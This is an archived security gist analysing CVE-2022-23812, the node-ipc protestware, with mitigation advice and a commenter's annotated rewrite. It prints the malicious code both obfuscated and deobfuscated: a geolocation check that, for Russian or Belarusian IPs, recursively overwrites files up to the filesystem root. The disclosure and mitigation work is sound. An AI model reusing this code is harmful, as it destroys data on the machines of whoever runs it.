CVE-2022-23812 | RIAEvangelist/node-ipc is malware / protest-ware

By MidSpike

Archived: 2026-04-05 18:50:24 UTC

RIAEvangelist/node-ipc is malware / protestware

The `RIAEvangelist/node-ipc` module contains protestware peacenotwar.

Excerpt from RIAEvangelist/node-ipc:

> ***as of v11.0.0 & v9.2.2*** this module uses the peacenotwar module.

More importantly, commits `847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803` of `RIAEvangelist/node-ipc` contains malware.

⚠️| The following code is malicious, DO NOT RUN IT

https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

> **The following codeblock was added in-case the url above is deactivated**
>
> ```
> import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Ma
> ```

⚠️| The above code is malicious, DO NOT RUN IT

I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:

⚠️| The following code is malicious, DO NOT RUN IT

```
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
    const t = Math.round(Math.random() * 4);
```

```
    if (t > 1) {
        return;
    }
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyN
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"));
                }
            } catch (t) {}
        });
    });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return;
    }
    let r = [];
    try {
        r = a.readdirSync(n);
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i);
        } catch (t) {
            continue;
        }
        if (t.isDirectory()) {
            const s = h(i, o);
```

```
            s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function () {});
            } catch (t) {}
        }
    }
    return f;
}
const ssl = true;
export { ssl as default, ssl };
```

⚠️| The above code is malicious, DO NOT RUN IT

The following are excerpts from the malicious code:

```
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
```

```
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
```

```
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`
```

The following demonstrates example of what each of the parameters going to the `a.writeFile(i,c.toString("utf8")` would be:

```
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\emoji.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\emoji.js',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\emoji.js.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.d.ts',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.js',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.js.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.d.ts',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.js',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.js.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\index.d.ts',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\index.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\index.js',
  '2': '💔
}
```

Edit 2022-03-16_0

[Comment](#) by [zkyf](#)

> Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.

```
 const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.i
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
```

```
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}
```

> Console:
>
> ```
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\DDSTextureLoader.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\DescriptorHeap.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\DirectXHelpers.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\EffectPipelineStateDescription.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Effects.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\GamePad.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\GeometricPrimitive.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\GraphicsMemory.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Keyboard.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Model.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Mouse.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\PostProcess.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\PrimitiveBatch.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\RenderTargetState.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\ResourceUploadBatch.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\ScreenGrab.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\SimpleMath.h
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\SimpleMath.inl
> Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\SpriteBatch.h
> ^C
> D:\Codes\test>
> ```

Edit 2022-03-16_1 (requested by @lgg)

Available mitigation methods:

The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: [cnpm/bug-versions#181]

If you use one of the following mitigation stratagies, make sure to remove the `^` to force `node-ipc` to the specified version.

`"^9.x.x" -> "9.2.1"`

```
     "dependencies": {
-        "node-ipc": "^9.x.x"
+        "node-ipc": "9.2.1"
     }
```

`"^10.x.x" -> "10.1.0"`

```
     "dependencies": {
-        "node-ipc": "^10.x.x"
+        "node-ipc": "10.1.0"
     }
```

`"^11.x.x" -> "10.1.0"`

```
     "dependencies": {
-        "node-ipc": "^11.x.x"
+        "node-ipc": "10.1.0"
     }
```

3rd-party mitigation methods:

- vue-cli
- Unity Hub

Edit 2022-03-16_2 (requested by @lgg)

CVE-2022-23812

Edit 2022-03-17_0

@RIAEvangelist has banned me from interacting with their repositories

Edit 2022-03-17_1

The security research firm snyk.io recommends the following mitigation strategy for users of `node-ipc`:

`package.json`

```
 "overrides": {
  "node-ipc@>9.2.1 <10": "9.2.1",
  "node-ipc@>10.1.0": "10.1.0"
}
```

Edit 2022-03-17_2 (credit: @Uzlopak)

NPM users below NPM v8, this is for you!

> Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.

Yarn users, this is for you!

- Yarn 1 - Selective dependency resolutions
- Yarn 2 - Resolutions

I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.

Edit 2022-03-17_3

Please read this message

I've been seeing a lot of hate comments going after the owner of `node-ipc` (especially on their repositories). We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812. I'm sure that the owner of `node-ipc` will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

Edit 2022-03-18_0

I've begun work on my own fork of `node-ipc` : MidSpike/node-ipc#1
